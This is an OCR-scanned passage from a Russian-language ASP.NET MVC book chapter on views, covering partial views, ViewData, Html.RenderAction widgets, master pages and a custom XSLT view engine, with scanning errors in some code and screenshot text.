Подобно обычным шаблонам представлений, частичные представления имеют свойство ViewData. По умолчанию это просто прямая ссылка на объект контейнера ViewData. Это означает, что частичное представление имеет доступ к тому же набору данных — как к содержимому словаря, так и к объекту ViewData .Model.
Предположим, например, что метод действия заполняет ViewData [ "message" ], как показано ниже:
public class Hostcontroller : Controller {
public ViewResult Index() {
ViewData["message"] = "Greetings";
// Теперь визуализировать страницу представления, // которая визуализирует MyPartial.ascx return View();
}
}
Тогда MyPartial. ascx автоматически разделит доступ к следующему значению:
<%@ Control Language="C#" AutoEventWireup="true" CodeBehind="MyPartial.ascx.cs" Inherits="MyApp.Views.Shared.MyPartial" %>
<ix%= ViewData["message"] %> from the partial view</i>
Результирующий вывод показан на рис. 10.3.
Рис. 10.3. Частичные представления могут иметь доступ к элементам ViewData
Эта техника работает хорошо, но создает некоторое некомфортное ощущение от того, что дочернее частичное представление имеет доступ ко всей родительской коллекции ViewData. Разумеется, частичное представление заинтересовано только в подмножестве этих данных, так что имеет смысл предоставить доступ только к нужным данным. К тому же, при визуализации множества экземпляров определенного частичного
338 Часть II. ASP.NET MVC во всех деталях
представления, когда каждый экземпляр должен отображать свои данные, необходим какой-нибудь способ передачи разных элементов данных в каждый экземпляр.
Передача явного объекта ViewData.Model в частичное представление
Доступна перегрузка метода Html .RenderPartial (), которой при вызове можно передать значение во втором параметре model, и оно станет объектом Model частичного представления. Обычно эту перегрузку необходимо использовать при визуализации строго типизированного частичного представления.
Пусть, например, контроллер помещает объект Person в ViewData:
public class Person
{
public string Name { get; set; } public int Age { get; set; }
}
public class Hostcontroller : Controller
{
public ViewResult Index()
{
ViewData["someperson"] = new Person { Name = "Maggie", Age = 2 }; return View();
}
}
Тогда при визуализации частичного представления можно выбрать и передать только это специфическое значение. Давайте визуализируем частичное представление из показанного выше представления действия Index:
This is the host page. What follows is a partial view:
<b>
<% Html.RenderPartial("Personinfo", ViewData["someperson"]); %>
</b>
Теперь предположим, что в /views/Shared/Personlnfo. ascx имеется частичное представление, унаследованное от viewUserControl<Person> и содержащее следующий код:
<%@ Control Language="C#"
Inherits="System.Web.Mvc.ViewUserControl<npnno«eHHe. Лространствоймен.Рег5оп>" %>
<%= Model.Name %> is <%= Model.Age %> years old
В результате будет визуализирован вывод, показанный на рис. 10.4.
Как видите, значение, переданное методу Html. RenderPartial () в виде параметра model, становится объектом Model для частичного представления. Помните, что в шаблоне представления Model является лишь сокращением для ViewData.Model, где ViewData — структура данных, содержащая набор сущностей словаря наряду со специальным значением ViewData. Model.
43

j This is the host page What follows is a partial view: Maggie is 2 years old
Рис, 10.4. Частичное представление визуализирует явно переданный объект Model
Глава 10. Представления 339
Совет. При передаче явного объекта Model частичное представление утрачивает доступ к любой другой части коллекции ViewData родительского представления. Словарная часть структуры ViewData дочернего частичного представления будет пустой, а заполненным окажется лишь свойство Model. Если частичному представлению необходимо передать и словарь ViewData, и объект Model, применяйте перегрузку Html .RenderPartial (), которая принимает параметр ViewDataDictionary.
Визуализация частичного представления для каждого элемента коллекции
Во время визуализации частичных представлений ProductSummary. asex в главе 4 было показано, что организовать для каждого элемента коллекции визуализацию отдельного частичного представления довольно просто. Пусть, например, в методе действия подготавливается коллекция List<Person>:
public ViewResult Index()
{
ViewData["people"] = new List<Person> {
new Person { Name = "Archimedes", Age = 8 },
new Person { Name = "Aristotle", Age = 23 },
new Person { Name = "Annabelle", Age = 75 }, };
return View();
)
Шаблон представления может выполнить итерацию по этой коллекции и визуализировать отдельное частичное представление для каждого элемента:
Вот список людей:
<ul>
foreach(var person in (lEnumerable)ViewData["people"]) { %> <li>
<% Html.RenderPartial("Personinfo", person); %> </li> } %>
</ul>
Результирующий вывод показан на рис. 10.5.
Большинство программистов ASP.NET MVC отдают предпочтение старому доброму циклу foreach и не используют шаблонные элементы управления и механизм привязки данных, преобладающего в ASP.NET WebForms. Цикл foreach предельно прост, не требует обработки специального события OnDataBound () и позволяет редактору кода предоставлять все функции IntelliSense. Однако если вы привыкли к старому стилю кодирования WebForms, можете применять привязку данных, как будет показано ниже.
i ht3>i,-7iocaS’Dst5707^/Hcst - 1"летег £хр'о*5г
;
*	http:,v?ocalhost57076/Ho5t
 - Here's a list of people:
Archimedes is S years old
Aristotle is 23 years old
Annabelle is years dd
Рис. 10.5. Последовательность частичных представлений, каждое из которых визуализирует отдельный объект модели
340 Часть II. ASP.NET MVC во всех деталях
Визуализация частичного представления с использованием серверных дескрипторов
В качестве альтернативы применению Html .RenderPartial () можно встраивать частичное представление в страницу родительского представления, зарегистрировав элемент управления как серверный дескриптор. Если вы работали с ASP.NET WebForms, то вам уже приходилось использовать эту технику ранее.
Добавьте объявление <%@ Register %> в начало страницы представления, указав частичное представление, которое должно быть доступно, а также специальный префикс и имя дескриптора. Это объявление можно поместить в самое начало файла ASPX, как перед, так и сразу после объявления <%@ Раде %>. Например, добавьте следующее объявление:
<%@ Register TagPrefix="MyApp" TagName="MyPartial" Src="~/Views/Shared/MyPartial.ascx" %>
Это сообщит компилятору ASPX, что при использовании дескриптора <МуАрр:MyPartial runat="server"/> необходимо визуализировать /Views/Shared/MyPartial. ascx. Обратите внимание, что добавлять runat="server" обязательно. Без этого компилятор ASPX не будет трактовать его как специальный дескриптор, а просто отправит его в браузер в виде обычного текста.
После этого можно писать <МуАрр: MyPartial runat=" server" /> где угодно в представлении, и частичное представление будет визуализировано в этом месте. Данный подход не так удобен и аккуратен, как применение Html. RenderPartial (), поэтому он рассматривается лишь вкратце.
На заметку! Ранее уже было показано, как обрабатываются такие серверные элементы управления во время компиляции и во время выполнения. Когда в начале этой главы приводился декомпилированный класс ASPX, вы наверняка обратили внимание, что серверные элементы управления становятся переменными-членами в скомпилированном классе страницы. Метод визуализации элемента управления вызывается в соответствующей точке метода визуализации родительской страницы.
Передача элементу управления структуры ViewData
Если частичное представление визуализируется с использованием специального серверного дескриптора, это частичное представление опять по умолчанию наследует всю структуру данных ViewData родительской страницы, т.е. как содержимое словаря, так и объект Model. Фактически, при наличии иерархии серверных элементов управления в стиле WebForms любое частичное представление MVC сканирует его цепочку предков, чтобы найти первый, который предоставит структуру данных ViewData (т.е. первый, в котором реализован интерфейс IViewDataContainer).
Явная передача элементу управления объекта ViewData.Model
Когда частичное представление визуализируется с применением специального серверного дескриптора, можно явно передать объект Model, указав для дескриптора атрибут по имени ViewDataKey.
Например, предположим, что зарегистрировано строго типизированное частичное представление Personinfo (из предыдущего примера) с использованием следующего объявления:
<%@ Register TagPrefix="MyApp" TagName="PersonInfo"
Src="~/Views/Shared/Personinfo.ascx" %>
Глава 10. Представления 341
Тогда визуализировать его можно путем передачи параметра ViewDataKey, как показано ниже:
<МуАрр:Personinfo runat="server" ViewDataKey="persondata" />
Предполагая, что контроллер уже заполнил ViewData ["persondata"] некоторым подходящим объектом, этот объект станет объектом Model дочернего частичного представления (при этом словарная часть структуры ViewData дочернего представления будет пустой).
Совет. Внутренне MVC Framework для нахождения объекта модели для частичного представления вызывает метод ViewData.Eval ("параметру!ewDataKey"). Это значит, что здесь можно использовать нотацию разделенных точками лексем, принятую в Eval (), или ссылаться на свойства объекта Model представления контейнера.
Данный подход работает хорошо, если визуализируется только один экземпляр элемента управления и передается элемент словаря ViewData, который всегда имеет известный фиксированный ключ. Развивая этот подход дальше, можно даже использовать привязку данных в стиле ASP.NET WebForms для визуализации последовательности частичных представлений, каждое из которых имеет свой объект Model, за счет применения элемента управления <asp:Repeater>. Такое делается нечасто, и выглядит оно примерно так:
<asp:Repeater ID="MyRepeater" runat="server">
<ItemTemplate>
<MyApp:Personinfo runat="server"
ViewDataKey='<%# "peopledict." + Eval("Key") %>'/>
</ItemTemplate>
</asp:Repeater>
<script runat="server">
// Грубый прием! Встраивание обработчика событий WebForms
//в представление MVC...
protected void Page_Load(object sender, EventArgs e) {
MyRepeater.DataSource = ViewData["peopledict"]; MyRepeater.DataBind() ; }
</script>
В этом коде предполагается, что контроллер уже поместил объект lDictionary< string, Person> в ViewData ["peopledict" ] (и это должен быть словарь, а не просто список или массив, так как нужно иметь возможность обращаться к каждому элементу по имени, а не по индексу).
Согласитесь, что такой способ привязки данных грубый, причудливый и неприятный. Он был показан только потому, что множество новичков ASP.NET MVC спрашивают, как это можно сделать, и тратят массу времени на то, чтобы с ним разобраться. Не поступайте подобным образом! ГЪраздо проще воспользоваться следующим подходом:
<% foreach(var person in (lEnumerable)ViewData["people"]) { %>
<% Html.RenderPartial("Personinfo", person); %>
342 Часть II. ASP.NET MVC во всех деталях
Использование Html. RenderAction для создания многократно используемых графических элементов с прикладной логикой
Все повторно используемые конструкции, подобные элементам управления, которые вы видели до сих пор — встроенный код, вспомогательные методы HTML, частичные представления — замечательны для генерации HTML-разметки, но ни одна из них не подходит для размещения прикладной логики. Когда требуется реализовать прикладную логику или работать с моделью предметной области приложения, лучше отделить эту ответственность от механизма визуализации HTML — это повысит читабельность и тестируемость создаваемого приложения.
Каким же образом реализовать некоторый графический элемент5, расположенный в углу страницы и визуализирующий определенные данные независимо от остальной части контроллера? Речь идет о таких вещах, как элементы управления навигацией или панель биржевой информации. Как такой элемент получает свои данные, и если он дол жен их обрабатывать каким-то образом, то куда поместить соответствующую логику?
В этом разделе будут показаны возможные варианты использования для этих целей мощного вспомогательного метода HTML по имени Html. RenderAction (). После этого будут представлены еще несколько возможностей.
На заметку! В выпуске ASP.NET MVC 1.0 метод Html.RenderAction () входит в состав сборки MVC Futures (Microsoft.Web.Mvc.dll). Это означает, что он как может быть включен в основной комплект будущей версии, так и нет, в зависимости от того, какая стратегия будет выбрана для реализации повторно используемых графических элементов. В любом случае, поскольку доступен исходный код, можно сохранить контроль над использованием Html. RenderAction () как сейчас, так и в будущем.
Чтобы можно было пользоваться методом Html. RenderAction (), в проект потребуется добавить ссылку на сборку Microsoft.Web.Mvc.dll, ав файл web .config — ссылку на следующее пространство имен, чтобы все файлы ASPX и ASCX могли получить доступ к нему:
<configuration>
<system.web>
<pages>
<namespaces>
<add namespace="Microsoft.Web.Mvc"/>
</namespaces>
</pages>
</system.web>
</configuration>
5 Нестандартный термин графический элемент вместо термина элемент управления используется здесь намеренно, во избежание впечатления, что он должен вести себя подобно серверному элементу управления WebFbrms или элементу управления Windows Forms. В частности, не следует рассчитывать на двунаправленное взаимодействие между пользователями и такими графическими элементами, потому что в ASP.NET MVC код представления просто занимается генерацией HTML-разметки и не обрабатывает взаимодействие с пользователем. Для обеспечения насыщенного пользовательского взаимодействия в ASP.NET MVC понадобится найти готовый или создать новый элемент управления клиентской стороны (например, средствами Ajax). Это обеспечит пользователям максимально возможный уровень комфорта
Глава 10. Представления 343
Назначение метода Html. RenderAction
Концепция, положенная в основу метода Html .RenderAction (), очень проста: он может вызывать любой метод действия в приложении и встраивать его вывод в ответ HTML.
Это позволяет передавать любой набор параметров в целевой метод действия. В их число входят произвольные параметры маршрутизации, потому что внутри он запускает весь конвейер запроса-ответа MVC, начиная с вызова фабрики контроллеров с подготовленной структурой RouteData (обзор конвейера MVC можно найти в главе 7).
Поскольку в общем случае методы действий допускают произвольную логику, фильтры и шаблоны представлений, поддерживают инверсию управления (1оС) через специальную фабрику контроллеров, являются тестируемыми и т.п., то все эти возможности остаются доступными. Целевой метод действия служит повторно используемым графическим элементом, даже без необходимости знать, что он это делает. Простой и очень мощный подход!
Вспомните, что мы использовали метод Html. RenderAction () для создания и меню навигации, и графического элемента итоговой суммы корзины покупок в примере разработки приложения SportsStore в главе 5.
Когда стоит использовать метод Html. RenderAction
Метод Html. RenderAction () вызывается из шаблона представления и, в свою очередь, вызывает контроллер. С точки зрения MVC это может показаться шагом назад. Зачем шаблону представления вызывать контроллер? Разве представления не должны подчиняться контроллерам? Если вы приняли архитектуру MVC как догму, а не по прагматичным соображениям, идея использования метода Html. RenderAction () может показаться незаконной. Но давайте обратимся к прагматичной точке зрения, и примем во внимание разделение ответственности.
•	Если целесообразно, чтобы контроллер поставлял графическому элементу данные, которые должны быть в нем визуализированы, необходимо позволить ему это делать и затем использовать частичное представление для визуализации данных в виде HTML. Например, для организации ссылок на страницы внизу экранной сетки контроллер должен передавать и данные сетки, и данные, касающиеся разбиения на страницы. В этом случае нет необходимости в усложнении конвейера MVC применением метода Html. RenderAction ().
•	Если визуализируемый графический элемент логически независим от контроллера, обрабатывающего запрос, возможно, контроллеру лучше не знать о нем и не передавать данные этому независимому графическому элементу (ответственность графического элемента является чуждой для контроллера). Например, при визуализации глобального навигационного меню на странице About us (О нас), контроллер AboutController не обязательно должен поставлять этому меню глобальные данные навигации. Все, что в действительности необходимо — это отобразить в определенном месте вывода меню навигации, не вдаваясь в детали реализации. Процесс отображения независимого графического элемента является исключительно презентационным, подобно тому, как вывод изображения относится к обязанностям представления, а не контроллера. В сценариях подобного рода метод Html .RenderAction () подходит как нельзя лучше, поскольку позволяет сохранить разделение ответственности графического элемента и соответствующего контроллера.
344 Часть II. ASP.NET MVC во всех деталях
Существуют также промежуточные случаи, когда графический элемент связан с предметной областью контроллера, но контроллер обычно не собирается предоставлять все данные, нужные графическому элементу. В таких случаях предпочтительнее реализовать графический элемент как частичное представление и передавать ему элементы ViewData с помощью фильтра действия вместо встраивания этой логики непосредственно в каждый метод действия. Правильное структурирование кода — это настоящее искусство, основанное на квалификации и рассудительности.
На заметку! В Ruby on Rails существует понятие “компонентов”, которые играют аналогичную роль. Это пакеты, содержащие контроллер и представление, которые визуализируются в родительском представлении с помощью метода Ruby под названием render_component (очень похожего на метод Html. RenderAction () из ASP.NET MVC). Зачем об этом упоминать? А затем, что во многих случаях разработчики Rails считают компоненты противоречивыми и нежелательными, и эти мнения иногда распространяются на ASRNET MVC. Основная проблема с компонентами Rails связана с тем, что их применение приводит к снижению производительности. К счастью, при использовании ASP.NET MVC беспокоиться об этих проблемах не придется. Изначально задумывалось, что компоненты Rails должны допускать многократное использование в разных проектах. Замысел оказался неудачным, поскольку это препятствовало каждому проекту иметь собственную инкапсулированную модель предметной области. Из всего сказанного разработчики веб-приложений ASP.NET MVC могут извлечь полезный урок: графические элементы, создаваемые с помощью Html .RenderAction (), помогают разделять ответственность в одних проектах, и неприменимы в других.
Создание графического элемента на основе метода Html. RenderAction
Графический элемент, основанный на методе Html. RenderAction (), — это не что иное, как метод действия, причем любой. Например, можно создать класс контроллера WorldClockController, содержащий действие Index:
public class WorldClockController : Controller {
public ViewResult Index() {
return View(new Dictionary<string, DateTime> {
{ "UTC", DateTime.UtcNow },
{ "New York", DateTime.UtcNow.AddHours(-5) }, { "Hong Kong", DateTime.UtcNow.AddHours (8) } });
}
}
Для этого действия можно добавить строго типизированное частичное представление в /Views/Worldclock/Index. asex. Щелкните правой кнопкой мыши внутри метода действия и выберите в контекстном меню пункт Add View (Добавить представление). В открывшемся окне отметьте флажок Create a partial view (.asex) (Создать частичное представление (.asex)) и укажите Dictionary<string, DateTime> в качестве класса данных представления. Это частичное представление может содержать следующий код:
<%@ Control Language="C#"
Inherits="System. Web.Mvc.ViewUserControl<Dictionary<string, DateTime»" %> <table>
<theadxtr>
<th>Location</th>
<th>Time</th>
</tr></thead>
Глава 10. Представления 345
<% foreach(var pair in Model) { %>
<tr>
<td><%= pair.Key %></td>
<td><%= pair.Value.ToShortTimeString () %></td>
</tr>
x'2- 1 2-'s.
\ O J O s
</table>
На заметку! Это частичное представление (т.е. шаблон ASCX). Использовать именно частичное представление для шаблона представления контроллера не обязательно — обычное представление (ASPX) также будет работать. Тем не менее, имеет смысл использовать все-таки частичное представление, поскольку необходимо визуализировать только фрагмент HTML-разметки, а не страницу целиком.
После всего этого действие Index контроллера WorldClockController можно трактовать как многократно используемый графический элемент, вызывая его из другого представления. Например, в каком-то другом представлении можно написать следующий код:
<h3>Homepage</h3>
<p>Hello. Here's a world clock:</p>
<% Html.RenderAction("Index", "Worldclock"); %>
На заметку! Обратите внимание, что синтаксис вызова Html. RenderAction () подобен Html. RenderPartial (). Методне возвращает строку; он просто позволяет целевому действию пересылать вывод в поток ответа. Это полноценная строка кода, а не выражение, которое должно быть вычислено, поэтому не забывайте о точке с запятой, записывая <% ...; %>, а не <%= ... %>.
Результирующий экран показан на рис. 10.6.
• h^r//oca4’,xet.51S79/Ho*iesage - Internet Exclsre*- '
i н	http:7feca!hcsr5x?79‘Hcfnepage	’
Homepage
Нейо. Here's a world clock:
Location Time
i« UTC 14:53 i g New York 09:5-
Рис. 10.6. Шаблон представления, который включает другое действие за счет вызова Html. RenderAction
“За кулисами” Html .RenderAction () устанавливает новый объект RouteData, содержащий указанные значения controller и action, и использует его для запуска нового внутреннего запроса, начиная с вызова фабрики контроллеров.
Фактически Html. RenderAction () является оболочкой вокруг низкоуровневого метода Html. RenderRoute (), что позволяет передавать произвольную коллекцию данных маршрутизации, запускать внутренний запрос и отправлять вывод в поток ответа.
346 Часть II. ASP.NET MVC во всех деталях
Методу действия можно также передать любые необходимые ему параметры либо в виде объекта RouteValueDictionary, либо как анонимно типизованный объект. Они направляются объекту RouteData, который используется для внутреннего запроса, а также привязываются к параметрам маршрутизации с помощью обычного механизма MVC Framework. Для этого просто передайте третий параметр (под названием routevalues), например:
<% Html.RenderAction("Index", "Worldclock", new { visitorlimezone = "GMT" }); %>
Внимание! Из-за деталей внутренней реализации встроенный фильтр [Outputcache] не совместим с методом Html. RenderAction (). От него ожидается кэширование вывода только из графического элемента, но на самом деле он всегда кэширует вывод для всего запроса. Чтобы устранить эту несовместимость, можно воспользоваться альтернативным фильтром кэширования вывода, находящимся по адресу http: //tinyurl. com/mvcOutputCache. Кроме того, структура TempData не доступна в качестве цели вызова Html. RenderAction () (из-за особенностей ее загрузки и сохранения), но это редко является проблемой. Поскольку структура TempData должна использоваться только для сохранения данных во время перенаправлений HTTP 301 и HTTP 302, она не имеет отношения к независимому графическому элементу.
Вызов метода Html. RenderAction<T> с лямбда-выражением
При желании можно воспользоваться обобщенной перегрузкой Html. RenderAction<T> (). Как и Html. Action<T> (). она позволяет указывать целевой контроллер, метод действия и параметры с использованием лямбда-выражения. Например:
<% Html.RenderAction<Wamespace.WorldClockController>(х => x.IndexO); %>
Значения, извлеченные из лямбда-выражения, поступают в объект RouteData и используются для выполнения внутреннего запроса.
Преимущество этой перегрузки в том, что она позволяет средству IntelliSense оказывать помощь при выборе целевого метода действия и передаче ему параметров. Однако, подобно Html. ActionLink<T> (), она не может применяться для обращения к действиям, имена которых отличаются от имен методов, реализующих их на C# (т.е. действий, декорированных атрибутом [ActionName]). С обретением опыта, скорее всего, предпочтение будет отдаваться необобщенной перегрузке этого метода.
Совместное использование компоновок страниц с помощью мастер-страниц
Большинство веб-сайтов имеют набор общих интерфейсных элементов, таких как область заголовка и элементы управления навигацией, которые применяются на всех их страницах. В версии ASP.NET 2.0 появилась возможность создавать один или более образцов компоновки, называемых мастер-страницами, и определять остальные страницы сайта (“страницы содержимого”), заполняя пробелы на мастер-страницах. Во время выполнения то и другое комбинируется для генерации готовой HTML-страницы. Эта организация показана на рис. 10.7.
Новую мастер-страницу создать легко: щелкните правой кнопкой мыши на папке в Solution Explorer и выберите в контекстном меню пункт Addd>New Item (ДобавитьФНовый элемент). В открывшемся окне укажите шаблон MVC View Master Page (Мастер-страница представления MVC). В соответствии с общепринятым соглашением, мастер-страницы, общие для всего сайта, помещаются в папку /Views/Shared. Вообще говоря, их можно разместить где угодно, но затем на них придется ссылаться с указанием полного виртуального пути (включая расширения имен файлов).
Глава 10. Представления 347
1
Сайт Website.com
Домашняя страница ' ------------------- । Заполнитель 1 основной
Страница 1	J части страницы
I I
Страница 2	‘
j t____________
।
[ Заполнитель нижней части страницы i___________________________-_____
(с) Me. All rights reserved
Мастер-страница
Содержимое для заполнителя основной части страницы
1 Содержимое для заполнителя । нижней части страницы
Страницы содержимого
Рис. 10.7. Базовая концепция мастер-страниц
Мастер-страницы имеют расширение файла .Master и выглядят как шаблоны представлений, за исключением того, что содержат специальные элементы управления <asp: ContentPlaceHolder .. ./>, определяющие пробелы, которые должны быть впоследствии заполнены. Каждый раз, когда создается новая страница представления, ассоциированная с мастер-страницей, представление будет содержать элемент управления <asp: Content .. ./> для каждого пробела на мастер-странице.
Если вы знакомы с мастер-страницами традиционной платформы ASP.NET, то обнаружите, что мастер-страницы MVC и ассоциированные с ними страницы представлений работают именно так, как можно было ожидать. Пример установки и использования мастер-страниц как части приложения SportsStore уже приводился в главе 4. По этой причине, а также потому, что мастер-страницы на самом деле являются средством ASP.NET WebForms, а не ASP.NET MVC, их детальное описание не приводится.
Использование графических элементов на мастер-страницах представлений MVC
Большинство разработчиков ASP.NET MVC рано или поздно задаются вопросом: каким образом размещать элементы управления или графические элементы на мастер-странице? Частичное представление можно легко визуализировать из мастер-страницы, используя <% Html. RenderPartial () ; %>. Но как отправить некоторый объект ViewData частичному представлению? Для этого предусмотрено несколько способов.
Способ 1: помещение единицы данных, специфичной для элемента управления, в структуру ViewData с помощью контроллера
Как уже должно быть известно, частичные представления по умолчанию имеют доступ ко всей структуре ViewData, переданной контроллером. Это верно и если частичное представление визуализируется из файла * .Master вместо обычного шаблона представления. Поэтому, если контроллер заполняет ViewData [ "valueForMyPartial" ], то частичное представление может получить доступ к этому значению, независимо от того, визуализируется оно из мастер-страницы или из страницы содержимого.
348 Часть II. ASP.NET MVC во всех деталях
Вместо отправки всей структуры ViewData в частичное представление можно передать только специфическое значение, которое станет его объектом Model. Например, добавьте в файл .Master следующую строку:
<% Html.RenderPartial("MyPartial", ViewData["valueForMyPartial"]); %>
Здесь нет ничего нового. Выше в этой главе уже было показано, как использовать вспомогательный метод Html. RenderPartial ().
Способ 2: помещение единицы данных, специфичной для элемента управления, в структуру ViewData с помощью фильтра действия
При наличии изрядного количества контроллеров и методов действий способ 1 становится утомительным. Для каждого из них нужно помнить о необходимости заполнения ViewData ["valueForMyPartial"], даже когда с ними ничего не планируется делать. Чтобы не смешивать несвязанные виды ответственности, лучше выделить эти функции.
Взамен имеет смысл создать фильтр действия, который заполняет ViewDataf "valueForMyPartial"]. Для примера создайте в любом месте вашего npoeKTaASP.NET MVC класс, подобный показанному ниже:
public class UsesMyWidgetAttribute : ActionFilterAttribute
{
public override void OnResultExecuting(ResultExecutingContext filtercontext) {
ViewResult ViewResult = filtercontext.Result as ViewResult;
if (ViewResult != null)
{
// Добавить значение в ViewData для будущей визуализации представления ViewResult.ViewData["valueForMyPartial"] = someValue;
}
}
}
Теперь необходимо просто пометить контроллер или метод действия атрибутом [UsesMyWidget], и ViewData ["valueForMyPartial"] будет заполнен соответствующим образом, так что шаблон .Master сможет извлечь это значение и передать его частичному представлению.
На заметку! Многие разработчики Rails предпочитают применять этот подход в качестве средства реализации многократно используемых элементов управления. Очевидно, что он в большей степени соответствует чистой архитектуре MVC, чем вызов Html. RenderAction () (и его эквивалента из Rails), поскольку фаза сбора данных при подготовке контроллера происходит только один раз. Однако некоторое нарушение принципов MVC иногда позволяет создать более аккуратную структуру приложения; именно поэтому все еще сохраняется место для Html .RenderAction ().
Способ 3: использование метода Html. RenderAction
Способ 2 хорош, но следует помнить о необходимости связи контроллеров и действий со специфичным для графического элемента фильтром. Его удобно применять к каждому отдельному контроллеру, но это будет излишним при наличии в приложении представлений, которые вообще не визуализируют частичное представление.
Простой и эффективной альтернативой способу 2 является метод Html. RenderAction (). Его легко использовать как в мастер-странице, так и в любом другом шаблоне представления. В результате может быть получен графический элемент, который умеет заполнять свою структуру ViewData автоматически при каждой визуализации. Это особенно удобно в ситуациях, когда графический элемент должен работать независимо от всего остального на странице.
Глава 10. Представления 349
Реализация специального механизма представлений
Подобно остальным компонентам MVC Framework, механизм представлений WebForms можно заменить любым другим механизмом представлений. Для этого можно реализовать собственный или адаптировать один из ряда механизмов представлений с открытым исходным кодом, каждый из которых имеет собственные достоинства и недостатки. Вскоре мы рассмотрим некоторые из наиболее популярных механизмов подобного рода.
Механизм представления может быть как очень сложным (например, WebForms достаточно сложен), так и предельно простым. Он должен выполнять следующие функции.
1. Принимать объект контекста типа viewcontext, который включает информацию ViewData и другие объекты контекста, такие как Request и Response.
2. Использовать эти объекты для отправки некоторого текста в поток ответа.
Большинство механизмов представлений предлагают определенного рода систему шаблонов, так что вторую функцию можно привести в соответствие с существующими потребностями. Вскоре вы убедитесь, что это несложно.
Механизм представлений, визуализирующий
XML-вывод с помощью XSLT
Рассмотрим пример специального механизма представлений. Он должен обеспечить возможность записывать шаблоны представлений как XSLT-трансформации и использовать их для визуализации любого документа, передаваемого в качестве ViewData. Model. Этот механизм может служить полной заменой стандартного механизма представлений WebForms, хотя с гораздо более скромными возможностями.
Шаг 1: реализация интерфейса iviewEngine или наследование класса ОТ VirtualPathProviderViewEngine
Интерфейс IviewEngine описывает возможность применения представлений (объектов, реализующих iview). Это позволяет реализовать любую стратегию или соглашения для конструирования или обнаружения представлений как на диске, так и в других местах, подобных базе данных. Если шаблоны представлений существуют в виде файлов на диске, то класс проще унаследовать от VirtualPathProviderViewEngine, поскольку в нем реализован поиск на диске в соответствии с соглашением об именовании контроллеров и действий. От этого класса унаследован встроенный класс WebFormViewEngine.
Ниже показан механизм представлений, осуществляющий поиск файлов XSLT (*. xslt), которые хранятся в папке /Views/имяКонтроллера или /Views/Shared. Этот класс можно разместить в любом месте проекта ASP.NET MVC.
public class XSLTViewEngine : VirtualPathProviderViewEngine
{
public XSLTViewEngine() {
ViewLocationFormats = PartialViewLocationFormats = new[] {
"~/Views/{1}/{0}.xslt",
"-/Views/Shared/{0}.xslt",
};
}
protected override IView CreateView(Controllercontext controllercontext, string viewPath, string masterPath) {
350 Часть II. ASP.NET MVC во всех деталях
II Этот механизм представления не поддерживает концепцию мастер-страниц, // поэтому игнорирует любые запросы на использование мастер-страницы return new XSLTView(controllercontext, viewPath);
}
protected override IView CreatePartialView (
Controllercontext controllercontext, string partialPath) {
// Этому механизму представлений не нужно делать различия
// между частичными и нормальными представлениями, поэтому
// он просто вызывает метод CreateView ()
return CreateView(controllercontext, partialPath, null);
}
}
Когда базовый класс VirtualPathProviderViewEngine находит дисковый файл, соответствующий значениям в ViewLocationFormats, он вызывает метод CreateView () или CreatePartialView () (в зависимости от того, что было запрошено). Теперь мы должны предоставить подходящую реализацию IView.
Шаг 2: реализация интерфейса IView
В данном случае механизм представлений предоставляет экземпляр XSLTView (), определенный следующим образом:
public class XSLTView : IView
{
private readonly XslCompiledTransform _template;
public XSLTView(Controllercontext controllercontext, string viewPath) (
// Загрузить шаблон представления
_template = new XslCompiledTransform();
—template.Load(controllercontext.HttpContext.Server.MapPath(viewPath));
}
public void Render(ViewContext viewcontext, Textwriter writer) {
11 Проверить правильность входящего объекта ViewData
XDocument xmlModel = viewcontext.ViewData.Model as XDocument;
if (xmlModel == null)
throw new ArgumentException("ViewData.Model must be an XDocument");
11 Запустить трансформацию непосредственно в выходном потоке
—template.Transform(xmlModel.CreateReader(), null, writer); }
}
Интерфейс IView требует реализации лишь метода Render (), который должен отправлять вывод в поток ответа writer. В рассматриваемом примере это достигается выполнением трансформации на входящем объекте ViewData .Model.
Совет. Обратите внимание, что API-интерфейс MVC Framework предлагает осуществлять вывод путем записи в параметр типа Textwriter. Это нормально, когда должен выводиться только текст, но что если создается механизм представлений, который выдает двоичные данные, такие как изображения или PDF-документы? В этом случае можно передавать необработанные байты в viewcontext.HttpContext.Response.Outputstream.
Глава 10. Представления 351
Шаг 3: использование созданного механизма представлений
Имея перечисленные классы, можно вызывать специальный механизм представлений из метода действия. Ниже показан пример:
public class BooksController : Controller
{
public ViewResult Index()
{
ViewResult result = View (GetBooks () ) ;
result.ViewEngineCollection = new ViewEngineCollection {
new XSLTViewEngine()
};
return result;
}
private XDocument GetBooks()
{
return XDocument.Parse(@"
<Books>
<Book title='How to annoy dolphins' author='B. Swimmer'/>
<Book title='How I survived dolphin attack' author='B. Swimmer'/> </Books>
");
}
}
Как видите, в этом коде применяется необычный способ визуализации представления: явное конструирование экземпляра ViewResult вместо простого вызова View (). Это позволяет указать определенный механизм представления, который должен использоваться. Ниже будет показано, как зарегистрировать специальный механизм представлений в MVC Framework, чтобы избежать этого неудобства.
Если сейчас запустить приложение, нажав <F5>, и перейти по URL /Books, отобразится экран с сообщением об ошибке, показанный на рис. 10.8. Очевидно, что причина возникновения ошибки в том, что еще не подготовлен шаблон представления. Обратите внимание, что сообщение об ошибке автоматически описывает соглашение об именовании, которое было установлено в подклассе VirtualPathProviderViewEngine.
<5 Т~е viev. т-оех" or is master ccjlo not be xund The foHowing locances were seerebec <Ье>—. - Windows Internet Esai...' re. i- ..
z r	http:'-3cca{ho£fc5?376. Boeks	жA
Server Error in '/’ Application.
: The view 'Index' or its master could not be found. The following locations
i were searched;
j ~/Views/Books/Index.xslt
: ~/Views/Shared/Index.xslt
Description: An onhandled sxcepicp sccarred dursjg lire execution ef the current лес reauest Pease renew the stack trace for ircre
I siferration aeout the error ar.d where it ongsissed st the code
J Exception Details: SysiKn-ini-sfelCperaBonExceptcn. "Tje v<ew 'siaez or fis roaster coaid not йв found “he fcfowina iocafeer.s were searched: ,. !
Рис. 10.8. Сообщение об ошибке, которое отображается в ситуации, когда шаблон представления не удается найти на диске
352 Часть II. ASP.NET MVC во всех деталях
Для решения этой проблемы создайте в файле /Views/Books/Index.xslt трансформацию XSLT, содержащую следующий код:
<?хш1 version="l.О" encoding="utf-8"?>
<xsl:stylesheet version="l.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" exclude-result-prefixes="msxsl"
<xsl:output method="html" indent="yes"/>
<xsl:template match="/">
<hl>My Favorite Books</hl>
<ol>
<xsl:for-each select="Books/Book">
<li>
<b>
<xsl:value-of select="@title"/>
</b>
<xsl:text> by </xsl:text>
<xsl:value-of select="@author"/>
</li>
</xsl:for-each>
</ol>
